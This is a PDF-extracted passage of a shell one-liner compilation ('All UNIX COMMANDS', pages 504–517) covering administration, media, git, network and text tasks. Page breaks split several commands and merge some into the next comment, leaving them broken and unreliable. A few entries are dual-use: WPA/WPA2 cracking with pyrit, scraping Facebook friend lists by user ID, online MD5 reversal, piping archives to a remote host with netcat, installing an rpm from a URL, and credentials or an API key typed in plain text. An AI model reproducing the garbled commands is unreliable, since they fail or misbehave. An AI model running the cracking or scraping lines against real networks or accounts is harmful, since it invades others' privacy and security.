# Learn how to stop mistyping "ls" the fun way
apt-get install sl; sl
# What happened on this day in history?
firefox http://en.wikipedia.org/wiki/$(date +'%b_%d')
# Edit all different files from 2 directories with gvim in difference mode (gvim -d)
LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 gvim --nofork
-d
# Change file time stamp
touch -t [[CC]AA]MMJJhhmm[.ss]
# backup your history
gzip -c ~/.bash_history > ~/.backup/history-save-$(date +\%d-\%m-\%y-\%T).gz
# To recycle the JVM from application server, steps are as follows:su - wsadmin
# countdown from 10 ...
clear; tput cup 8 8; for i in $(seq 1 10); do echo -n "$((11-$i))
cup 10 8; echo -e "DONE\n\n"

504 / 658

";sleep 1; done; tput

All UNIX COMMANDS


# Sequentially repair multiple cassandra nodes at once
for s in 172.16.{1,2}2.9{0,1,2}; do echo "Repairing node $s..."; nodetool -h $s repair -pr;
done
# get function's source
source_print(){ set | sed -n "/^$1/,/^}$/p"; };

# count processes with status


ps -eo stat= | sort | uniq -c | sort -n
# create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg instance...
ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstAudioPort4
-newaudio
# Capture all tcp and udp packets in LAN, except packets coming to localhost (192.168.1.2)
sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2'
# kill all running instances of wine and programs runned by it (exe)
wineserver -k; killall -9 wine wineserver; for i in `ps ax|egrep "*\.exe"|grep -v 'egrep'|
awk '{print $1 }'`;do kill -9 $i;done
# This will kill all ssh connections from a given host it does give some errors but it does
work
lsof -i tcp:22 | grep 192.168.10.10 | awk "{print $2}" |xargs kill
# search and replace in multiple files
find . -name "*.php" -print | xargs sed -i 's/foo/bar/g'
# convert finenames containing a numeric index from differing to fixed index-length; padding
required zeroes in front of first number
export l=$1; shift; rename 'my $l=$ENV{'l'}; my $z="0" x $l; s/\d+/substr("$z$&",-$l,$l)/e'
"$@"
# Authenticate Windows user account through winbind
wbinfo -a username%password
# Define a quick calculator function
alias ?=concalc
# Convert from unixtime in millisecond
echo 1395767373016 | gawk '{print strftime("%c", ( $0 + 500 ) / 1000 )}'
# Show all occurences of STRING with filename and line number for given FILE pattern under
the DIR.
find DIR -name "FILE" -exec grep -IHn STRING {} \;
# Get all IPs via ifconfig
ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ".
yi| sed s."yiaddr = "."en1: ".

ipconfig getpacket en1 | grep

# Edit all files found having a specific string found by grep


grep -ir 'foo' * | awk -F '{print $1}' | xargs vim
# system beep off
setterm -bfreq 0
# Wait for an already launched program to stop before starting a new command.

505 / 658

All UNIX COMMANDS


wait
# Make a server's console beep when the network is down
while :; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; sleep 1; done
# record audio and use sox to eliminate silence. Results an ogg file that only contains the
audio signal exceeding -45dB
rec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d
-1 00:00:00.5 -45d
# progress bar for cp
while [$((or_sz=$(stat -c %s "$1"))) -gt $((ds_sz=$(stat -c %s "$2")))];do
((pct=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;echo -n
\>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "] $(((100*$pct)/69))%";done
# Read manpages without the man(1) command
zcat /usr/share/man/man1/man.1.gz | nroff -man | less
# neat diff of remote files owned by root on different systems
diff -u <(ssh -t user@host1 sudo cat /dir1/file1) <(ssh -t user@host2 sudo cat /dir2/file2)
# Get eth0 ip
A=$(ip addr show dev eth0); A=${A##*inet }; echo ${A%%/*}
# Open Finder from the current Terminal location
open .
# rsync Command that limits bandwidth
rsync -arvx --numeric-ids --stats --progress --bwlimit=1000 file
server:destination_directory
# Dump a MySQL-Database to another Database
mysqldump --force -uUSER -pPASS PRODUCTION_DB | mysql -uUSER -pPASS COPY_DB
# Generate a random password
xxd -l 20 -c 20 -p /dev/urandom

# sending message to a logined user of group


write user anytext
# Simple countdown from a given date
watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l'
# find/edit your forgotten buddy pounces for pidgin
vim ~/.purple/pounces.xml
# Tail the most recently modified file
ls -t1 | head -n1 | xargs tail -f
# ps for windows
wmic process list IO
# Hello world
pi 62999 | tr 0-9 del\ l\!owrH
# Remove trailing whitespaces (or tabs) from a text file
sed -i 's/[ \t]\+$//g' file.txt

506 / 658

All UNIX COMMANDS


# generate random string
python -c 'import string, random; print "".join(random.choice(string.letters+string.digits)
for x in range(6))'
# list all users with UID bigger than 999 in /etc/passwd
awk -F: '$3 > 999 { print $1 }' /etc/passwd
# Nice way to view source code
show_code() { pygmentize $1 | less -N }
# Change owner ship of files from 1003 to android under current directory recursively.
1003/android could be customized.
find . | while read line; do test `stat -c %u $line` -eq 1003 && chown android:android $line
&& echo $line; done
# Watch your websites php
watch -d=c -n3 'lsof -itcp -iudp -c php'
# Getting OpenPGP keys for Launchpad PPAs on Debian based systems from behind a firewall
sudo apt-key adv --keyserver hkp://keys.gnupg.net:80 --recv-keys [key to get here]
# Remove permissions from directory or file
icacls directory_or_file /remove:g group_or_user
# Batch Convert SVG to PNG
for i in *.svg; do convert "$i" "${i%.svg}.png" & done
# Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo
sftp -s "sudo /usr/lib/sftp-server" user@host
# List all text files (exclude binary files)
find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
# Get decimal ascii code from character
ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' }
# Remove all but One
rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; }
# Clean up formatting of a perl script
perltidy foo.pl
# For finding out if something is listening on a port and if so what the daemon is.
lsof -i :[port number]
# Create cheap and easy index.html file
F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "<li><a href='$i'>$i</a>"; done
>$F
# ping with timestamp
ping HOSTNAME | while read pong; do echo "$(date): $pong"; done
# Print a list of installed Perl modules
perl -MExtUtils::Installed -E 'say for ExtUtils::Installed->new()->modules()'
# Transform an XML document with an XSL stylesheet
xsltproc --stringparam name value <xsl_stylesheet> <xml_document>

507 / 658

All UNIX COMMANDS


# Random music player
FILE='mp3.list';LNNO=`wc -l $FILE|cut -d' ' -f 1`;LIST=( `cat $FILE` );for((;;)) do SEED=$
((RANDOM % $LNNO));RNNO=$(python -c "print int('`openssl rand -rand ${LIST[$SEED]} 8 -hex
2>/dev/null`', 16) % $LNNO");mplayer ${LIST[$RNNO]};sleep 2s; done
# Grant read/write permissions to user or group
icacls directory_or_file /grant user_or_group:(oi)(ci)(m,dc)
# Redirect CUPS port to localhost
putty -L 631:localhost:631 username@server
# Display list of locked AFS volumes (if any)
vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk
'{printf("%s ",$1)} END {printf("\n")}'
# Insert line number in vim
:%s/^/\=line('.').' '
# Function to output an ASCII character given its decimal equivalent
chr () { echo -en "\0$(printf %x $1)"}
# List only files in long format.
ls -l | grep ^# What happened on this day in history?
www-browser http://en.wikipedia.org/wiki/$(date +'%b_%d')
# See how many more processes are allowed, awesome!
echo $(($(ulimit -u)-$(pgrep -u $USER|wc -l))
# convert unixtime to human-readable
perl -le 'print scalar gmtime shift' 1234567890
# Function that show the full path of every argument.
full() {local i;for i in $*;do readlink -f $i;done}
# bash/ksh function: given a file, cd to the directory it lives
function cdf () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ;

}; pwd; };

# Change your timezone


sudo cp /usr/share/zoneinfo/Europe/Paris /etc/localtime
# Threads and processes of a user
ps -eLF | grep ^user
# Forgot to use pv or rsync
watch ls -lh /path/to/folder
# Go get those photos from a Picasa album
echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep
media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist
# list files/directories in current directory -- sorted by file size in MB
sudo du -sm * | sort -n
# Archive tar.gz archives all files (with extension filter) individually from an location
find ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-files {} \; \;
# Encrypt text to md5

508 / 658

All UNIX COMMANDS


wget -qO - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep -A1 "Md5
encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g'
# clean up syntax and de-obfuscate perl script
perl -MO=Deparse filename.pl | perltidy > new.pl
# Print to standard output file paths different between SRC and DEST and replacing terms if
needed
groovy -e "def output=args[0]; def terms = args[1].split(','); terms.each { it -> def
keyValues = it.split(':'); output = output.replaceAll(keyValues[0],keyValues[1]); } println
output;" "`diff -rq . SRC DEST`" "old1:new1,old2:new2"
# count line of code
cloc --force-lang=yaml --match-f='\.url$' .
# get mysql full processlist from commadline
watch 'mysql -e "show full processlist;"'
# Search for a string inside all files below current directory
find . -type f -exec grep -Hn <pattern> {} \;
# Create cookies to log in to website
curl -L -d "uid=<username>&pwd=<password>" http://www.example.com -c cookies.txt

# Show numerical values for each of the 256 colors in bash for bold and normal fonts
for code in $(seq -w 0 255); do for attr in 0 1; do printf "%s-%03s %bTest%b\n" "${attr}" "$
{code}" "\e[${attr};38;05;${code}m" "\e[m"; done; done | column -c $((COLUMNS*2))
# Ensure path permissions from '.' prior to root
pwd|grep -o '/'|perl -ne '$x.="./.";print`readlink -f $x`'|xargs -tn1 chmod 755
# Backup all MySQL Databases to individual files
mysql -e 'show databases' -s --skip-column-names | egrep -v "^(test|mysql|
performance_schema|information_schema)$" | parallel --gnu "mysqldump --routines {} >
{}_daily.sql"
# Print out the contents of a Git repository (useful for broken repositories)
find .git/objects -type f -printf "%P\n" | sed s,/,, | while read object; do echo "=== $obj
$(git cat-file -t $object) ==="; git cat-file -p $object; done
# Show total cumulative memory usage of a process that spawns multiple instances of itself
ps -eo pmem,comm | grep chrome | cut -d " " -f 2 | paste -sd+ | bc
# Update obsolete CVS Root files
find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;
# Remove/replace newline characters.
sed ':a;N;$!ba;s/\n/ /g'
# Create a symbolic link tree that shadows a directory structure
find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf
"ln -vs '%p' '/home/user/Dropbox%p'\n" | sh
# Record Alexa Traffic Stats of your Website
x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR
WEBSITE] | grep Global | sed 's/
\|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ;
done &

509 / 658

All UNIX COMMANDS


# Get first Git commit hash
git log --format=%H | tail -1
# Find which service was used by which port number
cat /etc/services | egrep [[:blank:]]<port_number>/
# recursive command to find out all directories
find $DIR -exec bash method {} ";"
# Display GCC Predefined Macros
echo | gcc -dM -E # Displays the number of unread messages on your gmail at the top right corner of your
terminal
while sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u
username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep
-o '[0-9]\+')";tput rc; done &
# Decrypt MD5
wget -qO - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" http://md5decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3 | sed 's/>//g;
s/<\/b//g'
# Use binary notation to chmod a file.
function right { bc <<< "obase=8;ibase=2;$1"; }; touch foo; chmod $(right 111111011) foo; ls
-l foo
# Export log to html file
x="/tmp/auth.html";sudo cat /var/log/auth.log | logtool -o HTML >$x;xdg-open $x;rm $x
# Burn a simple DVD-Video without menu using any given video file
avconv -i input.avi -target pal-dvd dvd.mpg && echo PAL > ~/.config/video_format &&
dvdauthor -o dvd/ -t dvd.mpg && dvdauthor -o dvd/ -T && growisofs -Z /dev/dvd -dvd-video
dvd/
# launch bash without using any letters
${0##-}
# run all
find /var/scripts -name 'backup*' -exec {} ';'
# find all files containing a pattern, open them using vi and place cursor to the first
match, use 'n' and ':n' to navigate
find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern
# Show some details of recent Leopard Time Machine activity - shell: bash, Mac OSX 10.5
syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h |
tail -n 30
# Clean up after improper deletes in subversion
svn rm `svn status | grep "\!" | cut -c 8-`
# Find which service was used by which port number
grep '\<110/' /etc/services; grep '\b110/' /etc/services
# Autorotate a directory of JPEG images from a digital camera
jhead -autorot *

510 / 658

All UNIX COMMANDS


# solaris: get current date + 72 hours
TZ=$TZ-72 date +%d.%m.%Y
# Check if a machine is online
ping1 IPaddr_or_hostname
# Short log format of Subversion history
svnll(){svn log "$@"|( read; while true; do read h||break; read; m=""; while read l; do echo
"$l" | grep -q '^[-]\+$'&&break; [ -z "$m" ] && m=$l; done; echo "$h % $m" | sed 's#\(.*\) |
\(.*\) | \([-0-9 :]\{16\}\).* % \(.*\)#\1 \2 (\3) \4#'; done)}
# Make a repeating patterned wallpaper from any image
goWall() { if [ $# -ne 1 ]; then echo 'goWall image';return;fi;w=w.jpg;o="$1";f="$1"f;of="$1"-af;off="$1"-aff;convert "$1" -flop $f;montage -geometry +0+0 -tile 2x "$1" $f
$of;convert $of -flip $off;montage -geometry +0+0 -tile 1x $of $off $w }
# face are
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?
u=100000475200812&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"'
|cut -d, -f2
# Find out which driver is in use
jockey-text -l
# total text files in current dir
file -i * | grep 'text/plain' | wc -l
# Easily decode unix-time (funtion)
utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; }
# Kill process by searching something from 'ps' command
pkill <process name>
# dump a remote db via ssh and populate local db with postgres
ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9" | bzcat |
psql -U user bd_name
# Take a screenshot of the screen, upload it to ompldr.org and put link to the clipboard and
to the screenshots.log (with a date stamp) in a home directory.
scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!"
http://ompldr.org/upload | egrep '(View file: <a href="v([A-Za-z0-9+\/]+)">)' | sed 's/^.*\
(http:\/\/.*\)<.*$/\1/' | xsel -b -i ? (full in a sample output)
# Make webcam video
ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4
Filename.mp4
# Get Public IP Address from command line
echo `wget -q -O - http://www.whatismyip.org`
# remove OSX resource forks ._ files
find . -name ._\* -exec rm -f {} \;
# List down source files which include another source file
find . -type f \( -name '*.c' -o -name '*.cpp' -o -name '*.cc' -o -name '*.cxx' \) | xargs
grep "#include.*\.c.*" 2>&1 | tee source_inside_source_list.txt
# fb1
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |
gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2

511 / 658

All UNIX COMMANDS


# Geo Temp
curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s
icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed
's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'
# Writes ID3 tags with track numbers for mp3s in current directory
x="1" && z="`ls -l * | wc -l`"; for y in *.mp3; do `id3v2 --TRCK "$x/$z" "$y"`; x=$[$x+1];
done
# Set ondemand governor for all cpu cores.
for i in `cat /proc/cpuinfo |grep processor|awk '{print $3}'`;do cpufreq-set -g ondemand
$i;done
# List all files in current dir and subdirs sorted by size
find . -ls | sort -k 7 -n
# PulseAudio: set the volume via command line
pacmd set-sink-volume 0 0x10000
# fbari
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?
u=521826202&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut
-d, -f2
# Grep through zip files
for file in `ls -t \`find . -name "*.zip" -type f\``; do
found=`unzip -c "$file" |
grep --color=always "PATTERN"`;
if [[ $found ]]; then echo -e "${file}\n${found}\n";
fi done
# Conversion of media stream
curl 'AudioStream' | ffmpeg -i - -acodec libvorbis file.ogg
# Add new files/directory to subversion repository
svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add

# force change password for all user


getent passwd|cut -d: -f1|xargs -n1 passwd -e
# Auto export display when coming from SSH
[ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):0.0
# AIX: Set reserve lock=no in EMC disks that have reserve_lock=yes
for i in $(lsdev -Cc disk | grep EMC | cut -f 1 -d " " ); do if lsattr -a reserve_lock -El
$i | grep -q "reserve_lock yes"; then chdev -a reserve_lock=no -l $i; fi; done
# count how many cat processes are running
pgrep -c cat
# same as backspace and return
<ctrl+h> and <ctrl+j>
# Let yourself read the logs under /var/log/apache2 (on Debian)
sudo usermod -a -G adm "$(whoami)"
# use awk to replace field with it's md5sum
awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/
[[:blank:]].*/,"",$2); print $0}'

512 / 658

All UNIX COMMANDS


# Writes ID3 tags using the file name as the title.
for x in *.mp3; do y=`echo $x | sed 's/...\(.*\)/\1/' | sed 's/.mp3//ig'`; id3v2 --TIT2 "$y"
"$x"; done
# pngcrush all .png files in the directory
ls *.png | while read line; do pngcrush -brute $line compressed/$line; done
# list uniq extensions of files from the current directory
find . -type f |egrep '^./.*\.' |sed -e "s/\(^.*\.\)\(.*$\)/\2/" |sort |uniq
# export key-value pairs list as environment variables
while read line; do export $line; done < <(cat input)
# Convert Canon CR2 raw pictures to JPG
for i in *.CR2; do dcraw -c -a -h $i | ppmtojpeg > `basename $i CR2`JPG; echo $i done; done
# Open Android Virtual Device Manager (Mac OS)
/usr/bin/java -Xmx256M -XstartOnFirstThread -Dcom.android.sdkmanager.toolsdir=androidsdk/tools -classpath android-sdk/tools/lib/sdkmanager.jar:androidsdk/tools/lib/swtmenubar.jar:android-sdk/tools/lib/x86_64/swt.jar
com.android.sdkmanager.Main avd
# Locate Hacked Files and Dump.
find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt
# Today's date on a yearly calendar...
cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$
(date +%m | sed s/^0//)" | tr '|' '\n'
# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done
# Check the apt security keys
apt-key list
# Extract all urls from last firefox sessionstore used in a portable way.
perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
# Test internet connectivity
ping 8.8.8.8
# # Multiline paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGC=1}};{Text[NR]=$0};END
{asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i<Zip.txt
# Create a temp file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
# Get all links of a website
lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u
# geoip information
curl -s ifconfig.me|tee >(xargs geoiplookup)
# Add ofxAddons mentioned in source files, into addons.make
grep -hor ofx[a-zA-Z]*.h src/ | grep -o ofx[^\.]* >> addons.make
# Use wpa_supplicant to access a wifi AP without using a .conf file
wpa_passphrase "ESSID" "Password" | wpa_supplicant -Dwext -iwlan0 -c/dev/stdin&

513 / 658

All UNIX COMMANDS

# sets volume via command line


amixer -c 0 set Master 1dB+
# Use Ruby version permanently
rvm --default use ruby-1.9.3
# thunderbird commandline invocation to attach email
thunderbird -compose "attachment='file://`pwd`/$*'"
# Convert serialized PHP data into JSON
php -r 'echo json_encode( unserialize( file_get_contents( "php://stdin" ) ) );'
# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do > $file; done
# Find all videos under current directory
find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1
# WPA/WPA2 ESSID and password automation with pyrit
gopyrit () { if [ $# -lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in
"$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval }
# recursive transform all contents of files to lowercase
perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f)
# Perl One Liner to Generate a Random IP Address
perl -e 'printf join ".", map int rand 256, 1 .. 4;'
# Geolocate a given IP address
geoip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true"; }
# Create a Christmas tree with perl
perl -MAcme::POE::Tree -e 'Acme::POE::Tree->new()->run()'
# Mount a partitoned disk-image file
IMG="image.img";PART=1;mount -o loop,ro,offset=$(parted $IMG -s unit b print|awk
'$1=='$PART' {sub(/B/,"",$2);print $2}') $IMG /mnt/whatever
# Python unicode `explain`
import unicodedata; map(unicodedata.name, '\u2022'.decode('ascii'))
# Join the lines with comma
paste -sd, <<< $'line1\nline2'
# set timestamp in exif of a image
exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg
# Gentoo: Get the size of all installed packets, sorted
equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'
# Equivelant of a Wildcard
`ls`
# Dump all of perl's config info
perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'
# Better "hours of video" summary for each file/dir in the current directory

514 / 658

All UNIX COMMANDS


for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - |
grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep
ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$'
# Add to Instapaper
instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3"
https://www.instapaper.com/api/add; }
# Say no to overwriting if cp -i is the default alias.
\cp something toSomeWhereElse
# Kill all Zombie processes if they accept it!
kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'`
# # Multiline unique paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i")IGNORECASE=1;ARGC=1}{if
(IGNORECASE)Text[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i+
+)printf "%s\n\n",Text[i]}' -i<Test.txt
# A list of IPs (only) that are online in a specific subnet.
nmap -sP 192.168.1.0/24 | awk "/^Host/"'{ print $3 }' |nawk -F'[()]' '{print $2}'
# Append the line # -*- coding: utf-8 -*- to a file
sed -i -e '1i \# -*- coding: utf-8 -*-' yourfile.py

# Get the IP address


ip a s eth0 | awk '/inet / {print $2} | sed -e 's/\/..//g'
# Play a random avi file in the current directory tree
mplayer $(find . -iname '*.avi' | shuf -n1)
# Print first pages from all files from a directory
lp -dhp -P1-1 -o media=a4 *
# strips ogg audio from webm video ( no reencoding )
for file in "$@"; do
name=$(basename "$file" .webm)
echo ffmpeg -i $file -vn -c:a copy
$name.ogg
ffmpeg -i "$file" -vn -c:a copy "$name.ogg" done
# download and install the software package in one step
rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm'
# See if your mac can run 64-bit && if it the kernel is loaded 64-bit
ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64
# Show which include directories your installation of Perl is using.
perl -le 'print join $/, @INC'
# Do you really believe on Battery Remaining Time? Confirm it from time to time!
echo start > battery.txt; watch -n 60 'date >> battery.txt'
# Set status in pidgin
purple-remote "setstatus?status=Available&message=Checking libpurple"
# Get URLs matching some xmms2 search
xmms2 info $(xmms2 mlib search '<query>' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk
-F' = ' '$1~/ url$/{print$2}'
# Kill process by searching something from 'ps' command

515 / 658

All UNIX COMMANDS


pkill -f <process name>
# Append a new line "FOOBAR" in all files matching the glob*
sed -i '$a\FOOBAR' *
# shell function which allows you to tag files by creating symbolic links directories in a
'tags' folder.
tag() { local t="$HOME/tags/$1"; [ -d $t ] || mkdir -p $t; shift; local i; for i in $*; do
ln -s $(readlink -f $i) $t;done}
# pdfcount: get number of pages in a PDF file
pdftk file.pdf dump_data output | grep -i Num
# Get the IP address
ip a s eth0 | awk -F"[/ ]+" '/inet / {print $3}'
# Display IP : Count of failed login attempts
sudo lastb | awk '{if ($3 ~ /([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}/)a[$3] = a[$3]+1} END
{for (i in a){print i " : " a[i]}}' | sort -nk 3
# Add new file under svn version control.
svn st | grep ^\? | awk '{print $2}' | xargs svn add
# Resets terminal in its original state
^[c (ctrl-v esc-c)
# append content of a file to itself
cat file | tee >> file
# Say no to overwriting if cp -i is the default alias.
/bin/cp -n <from> <to>
# Find and edit multiple files given a regex in vim buffers
vim `find . -iname '*.php'`
# OS X: flush DNS cache
sudo killall -HUP mDNSResponder
# Copy your public key to clipboard
xclip -sel clip < ~/.ssh/id_rsa.pub
# find recently added files on OS X
mdfind 'kMDItemFSCreationDate >= $time.this_month'
# my ip
curl ip.appspot.com

# Find which package a file belongs to on Solaris


pkgchk -l -p <full path to the file>
# How to watch files
watch -d 'ls -l'
# snarf is a command line resource grabber.
snarf http://foo.bar.com/picture.jpg
# Testing writing speed with dd
sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`

516 / 658

All UNIX COMMANDS


# Show the ndd ip settings of a solaris device
for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"` ; do
echo $i `ndd -get /dev/ip $i` ; done | grep -v \?
# forking a process from gnome-terminal detached from the terminal.
gnome-open . & disown
# concatenate compressed and uncompressed logs
find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec
cat {} \;
# Perl One Liner to Generate a Random IP Address
perl -le '$,=".";print map int rand 256,1..4'
# Join lines split with backslash at the end
tr -d '\\' | tr -d '\n'
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >>
~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"
# Change my shell to zsh
sudo usermod -s `which zsh` `whoami`
# netcat - send tar archive remotely (sending side)
tar -cjf - $DIR | nc $HOST $PORT
# find the number of files, date masked
for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done
# Chrome, toggle default CSS style sheet
CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f
"$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'
# Remove .sh file extension for files in current directory
rename 's/\.sh//' ./*
# ifrename
busybox nameif newname $(</sys/class/net/oldname/address)
# how to find the active X (X11/xorg) username and DISPLAY variable
ck-list-sessions
# A bash function to show the files most recently modified in the named (or current)
directory
ls -t1 $* | head -1 ;
# Realtime lines per second in a log file
tail -F /var/log/nginx/access.log | python -c 'exec("import
sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl +=
1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >>
~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"
# server's host key is not cached in the registry
plink -agent gist.github.com

517 / 658

All UNIX COMMANDS


# netcat - receive tar archive remotely
nc -l $PORT | pv -b > archive.tar.bz2
# change file format at one time
find $(YourPATH) -type f -exec dos2unix '{}' \;
# print all available make targets
make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/
{split($1,A,/ /);for(i in A)print A[i]}'
# List members of a group
dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

# define a function for searching bash history


hgrep() {
... } longer then 255 characters, see below
# Convert ip address in hexadecimal
gethostip 208.69.34.230 -x
# Simple read and write test with Iozone
iozone -s 2g -r 64 -i 0 -i 1 -t 1
# Find and replace recursivly a ignoring .svn
find . -type f -not -regex ".*\/.svn\/.*" -exec sed -i 's/oldstring/newstring/g' {} +
# finding cr-lf files aka dos files with ^M characters
grep -UIlr "^M" *
# Count files and folder
ls /var/log/ |wc -l
# Pass the proxy server address as a prefix to wget
http_proxy=<proxy.server:port> wget <url>
# Decode \x{ABCD}-style Unicode escape sequences
perl -e "binmode(STDOUT, ':utf8'); print \"$@\""; echo # newline
# echo text in fancy manner
sayspeed() { for i in $(seq 1 `echo "$1"|wc -c`); do echo -n "`echo $1 |cut -c ${i}`"; sleep
0.1s; done; echo "";}
# pdfappend: append multiple pdf files
pdftk 1.pdf 2.pdf cat output 12.pdf
# restoring a directory from history
git checkout HEAD~2 -- /path/to/dir
# Take and post a screenshot in 3 seconds to imgur using scrot
scrot -d 3 '/tmp/%Y-%m-%d_$wx$h.png' -e 'cat $f'|curl -F "image=@-" -F
"key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo
"<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*"
# Recursively search your directory tree files for a string
alias gfind='find . -print0 | xargs -0 egrep -I '
